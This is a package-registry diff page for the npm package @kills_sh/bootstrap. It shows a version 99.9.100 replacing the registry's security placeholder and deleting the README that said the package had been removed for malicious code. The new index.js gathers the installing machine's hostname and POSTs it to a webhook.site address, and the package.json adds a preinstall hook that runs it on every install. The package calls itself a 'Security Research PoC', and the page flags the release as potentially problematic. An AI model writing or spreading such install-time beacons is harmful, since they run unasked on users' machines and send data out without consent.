@kills_sh/bootstrap 0.0.1-security → 99.9.100
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kills_sh/bootstrap might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +6 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const payload = JSON.stringify({
|
|
4
|
+
package: "specific-imports-in-bootstrap-code",
|
|
5
|
+
hostname: os.hostname(),
|
|
6
|
+
timestamp: new Date().toISOString()
|
|
7
|
+
});
|
|
8
|
+
const url = new URL("https://webhook.site/026931f0-fe38-4e6a-88da-2993b4b64f64");
|
|
9
|
+
const req = http.request({
|
|
10
|
+
hostname: url.hostname,
|
|
11
|
+
path: url.pathname,
|
|
12
|
+
method: 'POST',
|
|
13
|
+
headers: { 'Content-Type': 'application/json' }
|
|
14
|
+
});
|
|
15
|
+
req.write(payload);
|
|
16
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@kills_sh/bootstrap",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.100",
|
|
4
|
+
"description": "Security Research PoC",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": { "preinstall": "node index.js" },
|
|
7
|
+
"author": "Security Researcher",
|
|
8
|
+
"license": "MIT"
|
|
6
9
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40kills_sh%2Fbootstrap for more information.
|